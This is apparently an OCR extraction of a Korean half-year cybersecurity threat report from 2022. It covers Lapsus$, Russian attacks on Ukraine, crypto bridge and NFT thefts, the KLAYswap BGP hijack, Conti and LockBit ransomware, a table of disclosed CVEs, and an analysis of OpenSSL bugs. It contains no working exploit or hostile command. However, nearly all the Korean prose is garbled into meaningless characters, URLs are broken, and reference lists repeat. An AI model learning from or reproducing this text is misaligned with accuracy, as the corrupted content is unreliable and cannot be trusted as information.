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+ DEV—-0537 criminal actor targeting organizations for data exfiltration and destruction https: //www.microsoft.com/
security/blog/2022/03/22/dev—0537—criminal—actor—targeting—organizations—for—data—exfiltration—and—
destruction/
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articleView.html?idxno=438457

+ Microsoft confirms they were hacked by Lapsus$ extortion group https: //www.bleepingcomputer.com/news/

Xt

microsoft/microsoft—confirms—they—were—hacked—by—lapsus—extortion—group/
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+ T-Mobile confirms Lapsus$ hackers breached internal systems https: //www.bleepingcomputer.com/news/
security/t-mobile—confirms—lapsus—hackers—breached—-internal-systems/
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February 24 March1 March 3 March 3 March 6 March 11 March 16 April 3
Russian tanks Missile strikes Widespread Russia’s military Russian forces First Russian Russian Russian airstrikes
advance into Kyiv TV tower electricity outages occupies launch eight strikesin rockets hit fuel depots
Sumy city in Sumy, including Ukraine's missiles at Dnipro hit strike TV and processing
center blasts at power largest nuclear Vinnytsia government towerin plants around
stations power station airport buildings Vinnytsia Odessa
| . o i l o . o
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Odessa-based Suspected Threat actor Kyiv-based Russian group STRONTIUM Dnipro
critical infrastructure  Russian actors compromises media companies moves laterally compromises government
compromised by present on critical aKyiv-based face destructive on network of government agency targeted
likely Russian actors infrastructure media company attacks and data Ukrainian nuclear network in with destructive
networks in Sumy exfiltration power company Vinnytsia implant
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+"MS, “Special Report: Ukraine, An overview of Russia’s cyberattack activity in Ukraine”, April 27, 2022,
https: //query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4vVwwd'

- 3210|Lt §17]: "2tolm{’ 0} Aot SZAMK| O|—X|LT R

—60519284

Ct https://www.bbc.com/korean/international

OLL|HA &2 3202 2{A|ot HE SH|O|X| OH| https: //www.boannews.com/media/view.asp?idx=105111

« Anonymous hacked Nestle and leaked 10 GB of sensitive

hacktivism/anonymous—hacked—nestle—leaked—data.html

The Anonymous collective hacked the Russian construction

https: //securityaffairs.co/wordpress/129382/

company Rostproekt and announced a leak

that will Blow Russia Away. https://securityaffairs.co/wordpress/129576/hacktivism/anonymous—huge—

data—dump.html

< "Z{AJ0}, 23210|Lt 21E S QMEAIAL SHZ https: //www.bbe.com/korean/international—-608875807xtor
=AL—73-%5Bpartner®%5D—%5Bnaver%5D—%5Bheadline%5D—%5Bkorean%5D—%5Bbizdev%5D—%5Bisapi%sD"

BTV NG, MEE R shZES - "HAL &0 T|7F 20UCH" hitps://n.news.naver.com/mnews/article/00

3/00111739837sid=104"
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+ North Korea kicked off internet by suspected DDOS attack https: //www.nknews.org/2022/01/north—korea

—kicked—off—internet—by—suspected—ddos—attack/

+ N.Korean internet downed by suspected cyber attacks —researchers https: //www.reuters.com/world/asia
—pacific/nkorean—internet—downed—by—suspected—cyber—attacks—researchers—2022—01-26/

S35t ClEA B2 S2Z ST X2

H G4 hitps://www.yna.co.kr/view/AKR202201270218005

+ "North Korea Hacked Him, So He Took Down Its Internet https: //www.wired.com/story/north—korea—hacker

04?input=1195m
—internet—outage/"
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https://www.reuters.com/world/asia-pacific/nkorean-internet-downed-by-suspected-cyber-attacks-researchers-2022-01-26/
https://www.reuters.com/world/asia-pacific/nkorean-internet-downed-by-suspected-cyber-attacks-researchers-2022-01-26/
https://www.yna.co.kr/view/AKR20220127021800504?input=1195m
https://www.yna.co.kr/view/AKR20220127021800504?input=1195m
https://www.wired.com/story/north-korea-hacker-internet-outage/
https://www.wired.com/story/north-korea-hacker-internet-outage/
https://news.v.daum.net/v/20220223190452006
https://www.dailynk.com/20220511-4/
https://news.v.daum.net/v/20220523200223308
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"Swissport International, A0 22 gto} &

SZ http://www.cctvnews.co.kr/news/articleView.htmi?idxno

MHE =L hitps://news.v.daum.net/v/20220126185702983

2022 S| Ato[H ofef S

2 X[ htips://blog.alyac.co.kr/44727category=750247"

BlackCat (ALPHV) claims Swissport ransomware attack, leaks data https: //www.bleepingcomputer.com/

news/security/blackcat—alphv—claims—swissport—ransomware—attack—leaks—data

Expeditors shuts down global operations after likely ransomware attack https://

www.bleepingcomputer.com/news/security/expeditors—shuts—down—global—operations—after—likely—ransom

ware—attack/

« Expeditors downtime notification https: //www.expeditors.com/022022—downtime—notification

"EXPEDITORS TARGETED IN CYBER-ATTACK https: //investor.expeditors.com/press—releases/2022/02—

21-2022-032617120"

+ Ransomware attack cost Expeditors $60m in remediation, lost business https: //thestack technology/expeditors

—ransomware—costs—freight—forwarding/

« WRSHEI A0 EQE} CHAl S1ZA} 224 hitps: //news.v.daum.net/v/20220301172004313
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2022—-01-28 Qubit Finance, SiZS 2 80002+ &2 Aol 7HAXIAL m|5H
2022—-02-03 Wormhole Bridge, SHZSZ 32 21002 &a{ Aol 7HAXHA mI3H

2022-03-29 Ronin Bridge, siZ22 6 25002t &2 AEho| Z7}AIXIAL m|5H
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O £X: MakerDao 221, “What Are Blockchain Bridges, and Why are they Important for DeFi?”
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+ 0|C{2|8-BSC H3Ix| 74l mfo|HA sHZo= 80002t S| MY &4 hitps://www.digitaltoday.co.kr/
news/articleView.html?idxno=433211

+ Qubit Bridge Collapse Exploited to the Tune of $80 Million https://certik.medium.com/qubit—bridge—
collapse—exploited—to—the—tune—of—80—million—a7ab9068e 1a0

- 22 EE H2[X|, &2i-0|H2|& 3Y 21002 =2 s 3K https://news.g—enews.com/article/Securitie
s/2022/02/202202031612493488c4c55f903d_17md=20220203170212_3

+ Axie Infinity’s Ronin Bridge Exploited For More Than $600M https: //thedefiant.io/axie—infinity—hack—600m/

« EXPLAINING CRYPTO'S BILLION-DOLLAR BRIDGE PROBLEM https://www.theverge.com/23017107/
crypto—bilion—dollar—bridge—hack—decentralized—finance
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https://www.digitaltoday.co.kr/news/articleView.html?idxno=433211
https://www.digitaltoday.co.kr/news/articleView.html?idxno=433211
https://certik.medium.com/qubit-bridge-collapse-exploited-to-the-tune-of-80-million-a7ab9068e1a0
https://certik.medium.com/qubit-bridge-collapse-exploited-to-the-tune-of-80-million-a7ab9068e1a0
https://news.g-enews.com/article/Securities/2022/02/202202031612493488c4c55f9b3d_1?md=20220203170212_S
https://news.g-enews.com/article/Securities/2022/02/202202031612493488c4c55f9b3d_1?md=20220203170212_S
https://thedefiant.io/axie-infinity-hack-600m/
https://www.theverge.com/23017107/crypto-billion-dollar-bridge-hack-decentralized-finance
https://www.theverge.com/23017107/crypto-billion-dollar-bridge-hack-decentralized-finance
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NFT S22 22|xt AES shZet F H2XE At ALBAE Dl MOIEZ 75k O|HIZO[Lt HAIXIE

AAM, BHESCZM, Ofol £2 AFEXIZE A2l THYRI XIZOIA #RI0] X|Het XIYez ThdAtitE
0ISAl7 |= ERtMME SCl5t= YAlez 0lfX|= HEXR IlY 4
« SE|XH A 22 Seet AE2 HEA 0152UB0[L TE2I5es HS AR

D =X
$1.7 million in NFTs stolen in apparent phishing attack on OpenSea users https: //www.theverge.com/2022
/2/20/22943228/0pensea—phishing—hack—smart—contract—bug—stolen—nit

.

.

New OpenSea attack led to theft of milions of dollars in NFTs https://blog.checkpoint.com/2022/02/20/
new—opensea—attack—led—to—theft—of—millions—of—dollars—in—nfts/

FMIEHAH' 0|53 NFT Z2HE 'HEIZR' A2 44662H HRIC} hitps: //news.v.daum.net/v/20220418
113754911

.

+ $3 million in NFTs stolen as a result of Bored Ape Yacht Club Instagram hack https: //mashable.com/article/
bored—ape—yacht—club—instagram—hacked—stolen—nfts

* Beeple's Followers Lose $438,000 To Phishing Scam After NFT Artist's Twitter Gets Hacked https://www.
forbes.com/sites/carlieporterfield/2022/05/23/beeples—followers—lose—438000—to—phishing—scam—after—
nft—artists—twitter—gets—hacked/?sh=600a0f3f1332

« SACHXE NFT A1 iAo =2 “HEE NFT FF0§X} TISH https: //n.news.naver.com/mnews/article/243/0000026
8457si0=101
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https://www.forbes.com/sites/carlieporterfield/2022/05/23/beeples-followers-lose-438000-to-phishing-scam-after-nft-artists-twitter-gets-hacked/?sh=600a0f3f1332
https://www.forbes.com/sites/carlieporterfield/2022/05/23/beeples-followers-lose-438000-to-phishing-scam-after-nft-artists-twitter-gets-hacked/?sh=600a0f3f1332
https://n.news.naver.com/mnews/article/243/0000026845?sid=101
https://n.news.naver.com/mnews/article/243/0000026845?sid=101
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KLAYswap Atz Fx| EfRlatel )
T2 £x: S2W, “Post Mortem of KlaySwap Incident through BGP Hijacking”
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« KLAYswapOilAMl= EZ2 At S8 57| fsiiAl= Factory Contract?} Token Contract®] £91 ZIQ, =Hol9|
A= A LM 7 MOl 63 29URE HAEES ot Cio ERHMM 3 AtH 15 X2
TUMX| EH|

18 5201 EJAEE Factory ContractE AAsH H10| AE T 7Hatel mshXt A1 Ato|of| H2HE HIAEZT
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+ KLAYswap Incident Report (Feb 03, 2022) hitps: //medium.com/Klayswap/klayswap—incident—report—feb—
03—2022—70ff1242ed6b

+ Post Mortem of KlaySwap Incident through BGP Hijacking  https://medium.com/s2wblog/post—mortem—
of—klayswap—incident—through—bgp—hijacking—898f26727d66

- BH0|AL 1Y, ISPe| EOF 1H E2{Li= AH|7| ZILt? hitps://www.ddaily.co.kr/news/article/?no=230733
« US| Ho7h= SHFHE-KISA "sHe| ISP St 2% " https: //www.inews24.com/view/ 1457540
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https://medium.com/klayswap/klayswap-incident-report-feb-03-2022-70ff124aed6b
https://medium.com/klayswap/klayswap-incident-report-feb-03-2022-70ff124aed6b
https://medium.com/s2wblog/post-mortem-of-klayswap-incident-through-bgp-hijacking-898f26727d66
https://medium.com/s2wblog/post-mortem-of-klayswap-incident-through-bgp-hijacking-898f26727d66
https://www.ddaily.co.kr/news/article/?no=230733
https://www.inews24.com/view/1457540
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2022-03-03 =0t
2022-04-19 M2 ATt Conti A2 TAEIZ|7H AHTE MH|A HIZ S
2022-04-25 M0 T Conti 2HOE TAEIR|F} FI2ELD &7 |2ta| SRAIAL O
2022-05-08 MU0 AT Conti, HE HE=7|2 12

2022-05-11 Lockbit 2.0 &0 AT FHLICE 2I7H ZALZEAA| Top Aces 34
2022—05-12 I A0t siFTLE Killnet, O|Ef2|0}F 2 BIAIO|E0]| DDoS 34

D 2{Al0} #AIRI0} ZE Lockbit 2.0, DI22| 22 Ef0[of7 |21z DIz ZAS LA
A0 22

<28 27, T MO A4 Hol A EAolet 138 B OFMO| HR(2020 B 7IF)0| Yste DIR| 22
E10]0fRIX| H2|XIAE(Bridgestone)ol HARIO| B2 wot Sojet Ho| X BN At Bt

mjo

Bridgestone 2Z1S 2t2 X| EE0101 3% 92l0f| A|AEIS D& B3Ct D Y

<32 11Y, 2{AJo} 2HAMQo =t Lockbit 2.02 Bridgestone0il CHEH 2240| XAl
2022'F 3& 15 23A| 59E7HK| ZitS XIZ5HA| 2o SX1 |0|EIE S7ioH3icta &et

r
i
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b
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n
N
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+58 11, TF7| SBMHIAS MS3sh= HLiCtel S2H 2IZH ZAIEZEYA| Top Aces?t Lockbit 2.0
JAS U2 Ao=Z =2|H. Lockbit 2.0 AT SHF S 44GB2| C|0|E{0]| Bl BEIF ZESS TisH

0

e

D A0} 2090 Tt Conti, TAEIZ| 719} T2 AE 7|2 2HMY0f 22
4% 18%, Contio] 1202 FAE2|7} RHREO| T AJAEITE E7 - ZhA| L2 AJARIO] D=/, HAMIX}
HETB |

.

<438 23Y, Conti?| SHSZ 7t2EtI(Cartago)Alel FI|E Eelste 7t2EtD MI|AMH[A
22| B (JASEC)OIA] ZZIO| YAI|E, O|H|Y, BE|AAE £ XX|o| D= SHMA|AHIO| OH|E/QCtD
=

- 5% 82 AHIA HHEZS TAERII} Ajo|HE2S H5tn UCIBIA 58 11
THSEO| CIXIZ MBIAT} 27E/X] 23 5| MM 220 a2 0

+ 58 72, Contic HF2| Z7FHEZ(DIGIMIN)S sHZaH 9.41GBS| HIO|EIE EXICIY F& =27+ HE7|2of|
s S22 271712 RE= 0[0j 27jekziet 943



» ZI2{A|o} sHFHE Killnet, OIEt2|0F 57|20l DDoS S
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* Killnet2 DDoS 4= sh= TI2fAIOf SiFHIE2Z HAOF-2F210[Lt FHoIM 23 210[LE XI[ES=
P
[}

HE0| cha Ato|H B2 23
« 58 12¢, Kilnet2| DDoS 342 0|E2|0t 9|8|9t =, ZEEHHTAL] HAO|E SE, 25 Xof| FotL|o}
THIE ZZAZE 2 HTSAL] HIAIOIE HA| Killnete] 242 B2

52 19YU~2020f ZZEl Killnete] DDoS ZZOZ O|EZ|0f QIFEQ} D= [CHAIE YAIET} 2iE ES

SJEHOf] B

D AAHE
202201 1AKE7| B2 B 471 BiCkn FA5Hs B0 HEHES
JZEX - TREND MICRO
- Hiedello] ATt /& AlOIEO] WEH, So 1ARR7 |0l 34 &3 $= LockBit 35.8%, Conti 19%, BlackCat

9.6%Y =2 2{A[0} 7|HHO| S0 AT Lockbit 2,02 Contie| 2S0| 2t

- 2{Alofol| 7S AL ZI2{AlOF AtOlH HEITES 2{A0-232H0|Lt 0| XIAEHM S2E 7|Ho
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« Cyberattack strikes Bridgestone plants in Tennessee — and all of North and South America https://
tennesseelookout.com/briefs/cyber—attack—strikes—bridgestone—plants—in—tennessee—and—all-of—north—
and—south—america/

+ Bridgestone factories back online 10 days after cyberattack of unspecified origin https: //tennesseelookou
t.com/briefs/bridgestone—factories—back—online—10—days—after—cyberattack—of—unspecified—origin/

* Bridgestone Americas confirms ransomware attack, LockBit leaks data https://www.bleepingcomputer.com
/news/security/bridgestone—americas—confirms—ransomware—attack—lockbit—leaks—data/

+ Canadian fighter jet training company investigating ransomware attack https: //therecord.media/top—aces—
ransomware—attack—lockbit/

» Costa Rica’s Ministry of Finance Website Was Hacked https: //ticotimes.net/2022/04/19/costa—ricas—ministry
—of—finance—website—was—hacked

+ Conti ransomware cripples systems of electricity manager in Costa Rican town https://therecord.media/
conti—ransomware—cripples—systems—of—electricity—manager—in—costa—rican—town/

+ Costa Rica declares national emergency after Conti ransomware attacks https://www.bleepingcomputer.com
/news/security/costa—rica—declares—national-emergency—after—conti—ransomware—attacks/

» Conti Ransomware gang claims to have hacked the Peru MOF — Direccién General de Inteligencia (DIGIMIN)
and stolen 9.41 GB. https://securityaffairs.co/wordpress/131093/cyber—crime/conti—ransomware—peru—
direccion—general—de—inteligencia.html

« ltaly stops wide—ranging Russian attack on websites of parliament, military, health agency https://therecord.
media/italy—killnet—hacking—military—parliament—national-health—institute/

+ Pro—Russian Hackers Hit Critical Government Websites in Italy https://www.infosecurity—-magazine.com/
news/pro—russian—hackers—italy/

« LockBit, Conti, and BlackCat Lead Pack Amid Rise in Active RaaS and Extortion Groups: Ransomware in
Q1 2022 https://www.trendmicro.com/vinfo/us/security/news/ransomware—by—the—numbers/lockbit—conti
—and-blackcat—lead—pack—amid-rise—in—active—raas—and—extortion—groups—ransomware—in—q1-2022


https://tennesseelookout.com/briefs/cyber-attack-strikes-bridgestone-plants-in-tennessee-and-all-of-north-and-south-america/
https://tennesseelookout.com/briefs/cyber-attack-strikes-bridgestone-plants-in-tennessee-and-all-of-north-and-south-america/
https://tennesseelookout.com/briefs/cyber-attack-strikes-bridgestone-plants-in-tennessee-and-all-of-north-and-south-america/
https://tennesseelookout.com/briefs/bridgestone-factories-back-online-10-days-after-cyberattack-of-unspecified-origin/
https://tennesseelookout.com/briefs/bridgestone-factories-back-online-10-days-after-cyberattack-of-unspecified-origin/
https://www.bleepingcomputer.com/news/security/bridgestone-americas-confirms-ransomware-attack-lockbit-leaks-data/
https://www.bleepingcomputer.com/news/security/bridgestone-americas-confirms-ransomware-attack-lockbit-leaks-data/
https://therecord.media/top-aces-ransomware-attack-lockbit/
https://therecord.media/top-aces-ransomware-attack-lockbit/
https://ticotimes.net/2022/04/19/costa-ricas-ministry-of-finance-website-was-hacked
https://ticotimes.net/2022/04/19/costa-ricas-ministry-of-finance-website-was-hacked
https://therecord.media/conti-ransomware-cripples-systems-of-electricity-manager-in-costa-rican-town/
https://therecord.media/conti-ransomware-cripples-systems-of-electricity-manager-in-costa-rican-town/
https://www.bleepingcomputer.com/news/security/costa-rica-declares-national-emergency-after-conti-ransomware-attacks/
https://www.bleepingcomputer.com/news/security/costa-rica-declares-national-emergency-after-conti-ransomware-attacks/
https://securityaffairs.co/wordpress/131093/cyber-crime/conti-ransomware-peru-direccion-general-de-inteligencia.html
https://securityaffairs.co/wordpress/131093/cyber-crime/conti-ransomware-peru-direccion-general-de-inteligencia.html
https://therecord.media/italy-killnet-hacking-military-parliament-national-health-institute/
https://therecord.media/italy-killnet-hacking-military-parliament-national-health-institute/
https://www.infosecurity-magazine.com/news/pro-russian-hackers-italy/
https://www.infosecurity-magazine.com/news/pro-russian-hackers-italy/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022
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HAS ST S Y2=M Oldl= R2(9f FHOIM Eofl thet ZA7F LASTACE T2t &0l AlZtx|z o
0|% 2= Alo|tHERE2 APT(Advanced Persistent Threat) O2k= Huste|n ZISHE —3—7401| olsH o Alztst
S LUCL OIME A2 AL Tlatst 11 R2|= ofol| thet ths Hetofl thet HTE XI&SHo{0F ettt
202192 22|18 71 AIZH Apache Logdj F{E2 221 H Zof| Hlsh Al=lX Sk 371| 0|X|Xl= SLRACE
Logdje| ZIZIZto| Cf E2|7|= FQI 322 SpringdShell FUMES Z26t= T=7t ZIWEHA RE|= E CHA|
U & 2 shof| SARAC

2022 7| Sot o= HEHEZ? S0l st dZ FHO| Jtset FAHESE =20
ZAeLt, SHOIX| MZfo|Lt MOIE H2|E HotA Y & + UEE =AF= HSS0M SaL EY,
SZAMOIE(XSS) E= MY HZE FUAY S 8 MH|A JHLA| 7|2XCZ MIAZ00F Sh= FAFS0| =&
El= S OHE2 =L AZERQ0f AlF| Hot Ha 0] Ciet 120 BREE LAl & = AlZ|C 22(9

LY HFL HOF U= AofH S0l ol thSsH | flsiM= 342 +H0| =2 U= FetHol2h=
=A
S

I
=S ZX5| M0{5h7| #fet =2t e FRELE 2ot A2 7|20 260t ottt= X0[Ch,



2022 47| Alo|H Y S8 )

O\

Q@
—
oy 3
202213 AlE7| KISA F/oH S2 33t @
o
e FoH 7 & i\ﬁs CVE-ID
aT j!'
EH|ATE Nexacro Q| It MM F|oky BAAct e 45 Aol oY M F™ 81 CVE-2021-26613 IJ]?E
e
SecuwaySSL 2EM|H| HE Aldl F|oFX SOAM HY Mg Aol F= A FM 78 CVE-2021-26616 gt",,
E[2#A ToOffice 21| T2 444 Ziob SEmsto s omUMN 71 CVE-2021-26618
BigFileAgent =124 Q10| WY Alx|| F|bX A= EMM ForN Qo] mpd Alx| 7.1 CVE-2021-26619
7HH[0} HAES 217 F= Al Floby BEXES Y A48 YA Fc A 8.1 CVE-2021-26617
IPTIME NAS2dual| 2585t Q1502 oI5t mxmist o|= =
Mo 9= Ejobx ° EE=8t 05 R 7.5 CVE-2021-26620
E|AT 2|0} MEXOT K RLHEZS FUH HI QHEZ R 2|z Fc AlsY 8.1 CVE-2021-26621
HICJAILE ARK 2}0|E2{2] 00B b Out—of—Bounds 274 A Al 78 CVE-2021-26623
= - - Read/Write = < :
eScan Anti-Virus 22 #5t 45 FUH SIS I A P 2Z ot oS 7.8 CVE-2021-26624
_ o olo| Ol CIeEC
SHIADE Nexacro 09 I CIR2E oiy  EaEstzs o0 NS IPES g8 CvE-2021-26625
=20
EH|ATE XPLATFORM Q10| I Al Fobs  HXE5H Q1 245 olo| Ac At 8.1 CVE-2021-26626
O|C[2tY QCP 200W MEL-& FoFH BExESH Ao AN & 75 CVE-2021-26627

WARHE XSS 2 I HZE Ford XSS % ojd A2 el =l e 8.8 CVE-2021-26628

EH|ATE XPLATFORM Path Traversal £|2F A2 EtAM F|okx Qo] md MM 8.1 CVE-2021-26629

HANDY Groupware M CH2ZE 5 Ml FoFE  SXHGH QM AT ol iU C22E A 78  CVE-2021-26630

Mangboard T2{0|E HE F2HH oZiolel 23 0lg HIEAERI P WM 80 CVE-2021-26631

WAHCE SQL injection & LFI F|24H SQL injection 2 LA ME & U HStAS 75 CVE-2021-26633
= x SQL injection, Qlo| A= Al

WAHC CIE FOFH ol o3| Mol o2 W olac ﬁegj e 98 CVE-2021-26634

SIC|ATERO| MIZQ! ark 2to[=2{2|of|Af . Zao AT A

té”‘oHéf HIT] OHZ oK HI QHEZR st AlA 7.8 CVE-2021-26635

HAHC 2474 FC AlSH X|oFx 974 AC AlsY HeE & U et AL 88 CVE-2021-26636

SHAS E&525t Q15 FofH SR QB HdE LE Y AAAN 88 CVE-2021-26637

CiEH|Z2 NeoRS MU CI2ZE 5 )l FIoFY | MU &4 &0l 0I5 Yo MU C22E, 4 7.8 CVE-2022-23763
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1, QEAA HOt ato|H3{a] FAYA Y3 - OpenSSL X

SHM7HSSE QI8 AVX512 CPUS X|GHE x64 BHZ0IM E3 HF(3.0.4)2] OpenSSLE
ot Shlo| L& U HE Tt
! Zero—day BZ0f =EE|0f /0, HOMHZ| X @IH|0|E WHA| FA HHoZ M2

M ALZ|2: SAXKE HZ0M BHOE &l & + e, £EF 90 U= COEHE RE L + US

At

H

2022319] 24j(Apache Logd)) FUEZ Qlolf @EMTtoll HoF BHEXS0| Aol ol thet 21&Z
7 ARt solch FzLtz Qlsh AtolH ol CHet QEE=7 =01E Lol Tt AolH Ielef 213z

o
=
SeliF= A7t =1, 38ol= ALZZH(Springdshel)2] FAFHIIA| L EHAM 95**% 0183t 7H
ol cifet 2ty=7t R st ZIQICt Xt 7[8He] JHE 2fo|22{2] FefHe| olne R2lE2 #alE B0
SO, FoFHoll ciet thx etof thet M=22 SHIE MABIAXAIZE 232t 0K 22(2| S 53 Est

solst 4 9l 7|57t EICE

L2|= ot st Zio|2t LR OpenSSL 2t0|2242|01| HeartBleed

XFe=RE o 8EMl 2014 4 e
2 S AU 70| ACt. 22tS s FRIET 1Y 2|

F|otHo| HAZRACE AMOZ Qls AN St
ARESHE 2lo|E22| QI TEE A& £A2 O ZiRACE SSL SAIQ| Keep—alive 7|52 XMB5t= Heartbeat
Extension 7|&0| OpenSSL 2t0[E2{2]|0f|l A ’é% —_rL° Eo=Z Ol # MO AAH HZE| LIS EFE 4

QU= ZOFEO| UARIHOM, OIS 0I85101 Mol SSL 71|12 A S Bitet HES SIS S 4 UCH

E

HeartBleed SIFE )

.‘

HeartBleedO| L74E 0|F POODLE 372014 108), FREAK 3Z(2015'F 1), DROWN 3Zi(2016\ 38),
HEIST 324(2016 88) S QHMEr 0|2t o742t SSL/TLSOH| TSt CrFst 0| LIEFLEZ| AR RHQULCY,

2022'3 AHt7| OpenSSLOi| CHEE &0 7HO{LI UCE K| 3Eolli= OpenSSLLH BN_mod_sart() &=l A

HAA| RS2 I} WMGE MHIA HE F|FM(CVE-2022-0778)0| &AL, 5&0= OpenSSL L{
c_rehash ATZENA & HEl XIS HASHA| AMIGHK| L0} BiMish= HE Q) FFR(CVE-2022—1292),
OpenSSL W OCSP_basic_verify 471 & ME QSAME HZ Fl5i0 YMsl= 25 25
F|H(CVE-2022-1343), RC4-MD5 &S MES Sdll 718E OpenSSLOIAl AAD HIO[EE MACY|Z2



2022 28t7| Aol 2IE St

HR AI2510] LAlsH= H|LHMS Q8 FOFH(CVE-2022-1434) 12|11 OpenSSLOHM OIZA L 7|2
CIZYE 1 AK3SH= OPENSSL_LH_flush() 42| tl22| HAKRS BEtet= HOE Qlsl WAlsH= MH|A 7R

o
FR(CVE-2022-1473) & 47IX12] F24&0| S0l L7 |= SIICH

Ft
CVE Score Vector
CVE-2022-0778 7.5 (HIGH) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:N/I:N/A:H
CVE-2022-1292 9.8 (CRITICAL) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:H/I:H/A:H
CVE—-2022-1343 5.3 (MEDIUM) CVSS:3.1/AV:N/AC:L/PR:N/UIIN/S:U/C:N/I:L/A:N
CVE—-2022-1434 5.9 (MEDIUM) CVSS:3.1/AV:N/AC :H/PR:N/UI:N/S:U/C:N/I:H/A:N
CVE-2022—-1473 7.5 (HGH) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVE-2022-2068 9.8 (CRITICAL) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/AH
linE2-1 @EL NS

XLt 6-0l= OpenSSL HIHE Q1M £ Ok (CVE-2022—-2068)2 45t OpenSSL 3.0.47F 27K =ALCE
OpenSSLE T =AMSH Z|QFM(CVE-2022—1292)0l| A AlEE! ¢ rehash shell HY "_’i.*.j QIoll=, ¢_rehash
ATJZET} FME QIMMZ HiX|5t7| ot shell HIEF XIS MESH MASHK| = 7t FUH0| Z=E|1HSE

SOl |Act, HHFS AR FARM(CVE-2022-1292)0| IHX| Fi7HX| siE EMES WAZIX| LU7| 20,
ZE oS E5I0] AFEIE HetoZ Q9| HAHASHCVE—2022-2068)2 S 4= UA| = Z0|Ct FoFEo|
IHX|=l OpenSSL 3,042 2SI X2 THXHA 22 ZIH=l OpenSSL 3.0.4HTNAME =71 | Hi22| &A

Zlopso| LA Zolct,

O|HH0]| A= FobMS OpenSSL L BoringSSL(LibreSSL MI2))HIA O 2X|IE Z0|5H=0| Zest L5H

A AIZIO] 01T 2 XiZof #A| glo] YEE mel St ARKS 2lojsh= 4-AlZt S|2|(Montgomery)
ZE AMMOIAM X7t =ACE BN E % M == 09! Y& B, E, M #o| &2 Y8 &4E= 0 il M2
HHEfo =M, Zt 20| E0ISX| Y= ZXI7H Of2Hel 470 ZE F=0f ZE=0] U= 20| =l # Zo|ch.

+ RSAZ 1024

+ RSAZ 512

- Dual 1024 RSAZ
« 7|= M4 AIZH S0 2|(Montgomery) 2E

0|5 1024 RSAZ ZE0f| HEE 2 A2 4 471 AVXS128 XIR5H | 2I6t0] xB4AARI0IAN B
8HIO|E F7|040f k=L numS HIE 37|2 SE6IHM & Rl ZutE TS0 LiUCE 0|2 Qlsh & 37|17t
1024H|EQ! A2 128044 8192HI0|E7} ¢i7] & &7|7f LS == A0l Aot WREHR! M= offe
5712| HiEO| &t2t0] 2, 3742 HIES HOoi X7

rH'I
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Variable Description Allocated size = Over—read/write Total Read/write?

rest modexp result 1 128 896 8192 Read, then write

m1 Modulus 1 128 896 8192 Read

res2 modexp result 1 128 896 8192 Read, then write

m2 Modulus 2 128 896 8192 Read
storage Scratch space 1184 7296 8192 Write, then read

(PEEAL OpensSL B i it HiE )

- res1, res2, m1, m2 & AEZ|X|0|A 8192HI0|EE QS

+ 8192HI0|E 7} rest, res2 W AEZ|X|0f 7ISE(047[0flA TZ2| £40] L83,
cres1_bnZ res1[0..8192](0rX[2} HIOIET} X[AQ| HIOIE)Z FAME bignumezZ 7t
m1[0..8192]2 Z}55tH resi_bn { m1_bnO|™ resi[ 0.8192]= Hoi2 & HAEZ|X| &
res2 ¥ m20il= SY5IAH HEE

0|42 m1[8191]9] |49 HIEE 12 M5l res1[8191]9| Z|A2| HIEE 022 MFE 4~ Qo™
res1[0..8192]7t el HEHE |XISte RS 20lE E E
m20| = S5 H2E

HILHZ, res1_bn )= m1_bn0|H M7| & resi[N]2 {res1[N], res1[N] — m1[N], res1[N] — m1[N] — 1} =
SLI7} =, res2 & m20il= SYstA Mg

HOMI |7t LS 5 storage[N]2 ~(m2[N] — res2[N]) Ee= ~(m2[N] — res2[N]H+10] &

« m2[N]Z} res2[N]E HMIO{5HH CHEE storage[ |2 Moi5HA &

- AE2|X|9| H2f LIE2 Hoif 5| ¢ ZIE Hefoll o Ale2E HIS 0IXIX| &S
ZEXOZ modexp B0l s 20| FAOIE CHE B4LE HEoll 27| Qlo] ZE E(True)E &
=L



S =5F
H SoS

2022 HHt7| Ato[H 2

0t2H2] openssi—modexp—bug—fuzzer.c 2=

openssi-modexp—bug—fuzzer.c IE )
https: //gist.github.com/guidovranken/b1c46bd9e42e9595 19009681026 12896

&=x
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OpenSSL2 &l HOIEE 0| ARSSICE find —name “.c’ —exec grep ‘METH. = {'{} W | grep —v EIAESH
HH HEsHE 13071 0|49l &4 A1|E7P USE AE & == ULk 7] S S ZOIEJ0| LEIE XESH
CHE E 7I217|1=S o0 ASLRE 3 = UEE & 4 U0, LE} 7| SEZ Sall OpenSSLO| A2tst
QAMFE Sh= A" 018 E ‘RAEP. Ol= & A 2o 7HQ! HI0|E7t SAXIA REE= ALZIRE
7ts3HA gt

=]
(=]
=
S

L

o=

ALY

D ohiS ot

oIxf 22| 2F SSL2to|22{2] AFSAIS2 OpenSSL 1.1.15 At
Arols 2 FE=E 0IXIX| S A2 ofdsta QAch Z2Lf, 0f
Code Execution)0| 7k53t0 &0l ieje] F= HAM0| 7hsstof A4
el iR O w2 4 e UE. TR 370 FEofl et XExe! 2L
2to|=22{2]2| FokY =S mofsty 4l XIS ME5k= X0l ER5HH X

a o
A2 SN 7o &2 4 U= K67 2R3
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2. 9ialo| E2{2 F U™l Het — Almtz| FUH ﬁ
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< Z[olThAt 9 BIMTRSEE 3 £ HEF 0[5t _/.\_EE°I01§ AKZ3HE O|2X} Ciztof M otojsioz Q.

RIS € ZEIRE X2[5H3 Qojo] ITS AlSS 4 Qlon] SIS X5 MHE 9F 3t 4 9IS

b
* macOS Monterey 12.2.1, i0S 15.3.1 and iPadOS 15.3.1, Safari 15.3(v. 16612.4.9.1.8 and 15612.4.9.1.8) jlg
« CHSHMH: Zero—day 2Zi0] LE5|0] QI0f, HOMKX| 2 HH|0|E BHHA| £A HFoZ HE gﬁ
AR AILRIR: RAXS §Z0IM ol IC AMS E5f OIS A 3 4 9lom, 0|8X}) og

HOEE REE = US

